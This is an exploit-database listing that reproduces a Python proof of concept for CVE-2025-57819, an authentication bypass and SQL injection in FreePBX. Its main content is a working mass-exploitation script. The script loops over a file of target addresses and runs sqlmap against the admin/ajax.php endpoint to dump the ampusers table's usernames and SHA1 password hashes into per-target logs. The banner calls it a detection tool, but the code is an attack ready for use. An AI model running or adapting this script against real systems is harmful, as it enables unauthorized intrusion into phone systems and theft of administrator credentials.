Exploit database

GH-0341aa7e179f2a429a14b41c4fd6b4b3

orange0mint/cve-2025-57819_freepbx

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-57819

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
orange0mint/cve-2025-57819_freepbxRevision 4679fa96034a

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc_auto_get_username_pass.py

Python · 5,272 bytes
import os,sys
import threading
from time import sleep
import socket
from colorama import Fore


python = 'python3.12'


timeoutProcess = 60 # 1 Min

banner = r"""          
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        ~ /$$$$$$$$                            /$$$$$$$  /$$$$$$$  /$$   /$$~
        ~| $$_____/                           | $$__  $$| $$__  $$| $$  / $$~
        ~| $$     /$$$$$$   /$$$$$$   /$$$$$$ | $$  \ $$| $$  \ $$|  $$/ $$/~
        ~| $$$$$ /$$__  $$ /$$__  $$ /$$__  $$| $$$$$$$/| $$$$$$$  \  $$$$/ ~
        ~| $$__/| $$  \__/| $$$$$$$$| $$$$$$$$| $$____/ | $$__  $$  >$$  $$ ~
        ~| $$   | $$      | $$_____/| $$_____/| $$      | $$  \ $$ /$$/\  $$~
        ~| $$   | $$      |  $$$$$$$|  $$$$$$$| $$      | $$$$$$$/| $$  \ $$~
        ~|__/   |__/       \_______/ \_______/|__/      |_______/ |__/  |__/~
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        (*) CVE-2025-57819 Detection Artifact Generator: FreePBX Auth Bypass + SQL Injection to RCE

        -- Auto get Username & Password --

        by orange0Mint github ©
"""

def err(a):
    print(a)
    sleep(3)

# Function to run the command
def run_program(command,path):
    try:
        path = path.replace(":", "_")
        path = path.replace("//", "_")
        i = path.rfind("/")  # Find the last '/'
        if i != -1:
            path = path[:i] + path[i+1:]  # Remove the last '/'
        os.system(f'{command} > {path} 2>&1')  
    except Exception as e:
        print(e)
        sleep(5)


def run_with_timeout(command,path, timeout):

    thread = threading.Thread(target=run_program, args=(command,path,))
    thread.start()

    thread.join(timeout)

    if thread.is_alive():
        print(Fore.RED+"[*] Process took too long and Skip."+Fore.RESET)
    else:
        print(Fore.GREEN+"[+] Process completed."+Fore.RESET)

def read_ip_list_from_file(file_path):
    try:
        with open(file_path, 'r') as file:
            ip_list = [line.strip() for line in file if line.strip()]
        return ip_list
    except FileNotFoundError:
        print(f"[!] File not found: {file_path}")
        return []
    except Exception as e:
        print(f"[!] Error reading file: {e}")
        return []

def mainPoc(ip):
    command = f'{python} sqlmap-master/sqlmap.py -u "{ip}admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x" -T ampusers -C username,password_sha1 --dump --batch --ignore-code=404'
    run_with_timeout(command,f'log/{ip}.txt', timeoutProcess)

def check_internet_connection(host="8.8.8.8", port=53, timeout=10):
    try:
        socket.setdefaulttimeout(timeout)
        socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect((host, port))
        return True
    except socket.error:
        return False

def check_stop_file():
    current_dir = os.path.dirname(os.path.abspath(__file__))
    stop_file_path = os.path.join(current_dir, "stop.txt")
    return os.path.isfile(stop_file_path)

if __name__ == "__main__":

    os.system('clear')
    print(banner)
    print('####################################################\n\n')

    pathFile = sys.argv[1]

    line_list = read_ip_list_from_file(pathFile)
    try:
        os.makedirs('log')
    except:
        ...

    numberIp = len(line_list)
    idIp = 0
    for line in line_list:
        try:
            idIp += 1
            ip = line

            if not check_internet_connection():
                print('\n----------------------------------------------')
                print(Fore.RED+'\n[-] ERORR NETWORK ...\n'+Fore.RESET)
                print('----------------------------------------------')
                while True:
                    if not check_internet_connection():
                        print('sleeping .....')
                        sleep(60)
                        continue
                    else:
                        print('\n----------------------------------------------')
                        print(Fore.LIGHTGREEN_EX+'\n[+] NETWORK CONNECTED ...\n'+Fore.RESET)
                        print('----------------------------------------------\n')
                        break
            
            if check_stop_file():
                print('\n----------------------------------------------')
                print(Fore.LIGHTMAGENTA_EX+'[*] Stop Detected.For resume delete stop.txt'+Fore.RESET)
                print('----------------------------------------------')
                while True:
                    if check_stop_file():
                        print('sleeping .....')
                        sleep(60)
                        continue
                    else:
                        print('\n----------------------------------------------')
                        print(Fore.LIGHTGREEN_EX+'\n[+] resuming ...\n'+Fore.RESET)
                        print('----------------------------------------------\n')
                        break
            
            print(Fore.CYAN+f'[*] start check {ip} {idIp}/{numberIp}.'+Fore.RESET)
            mainPoc(ip)


        except Exception as e:
            print(f'[-] Erorr: {e}')
        
        print('\n----------------------------------------------\n')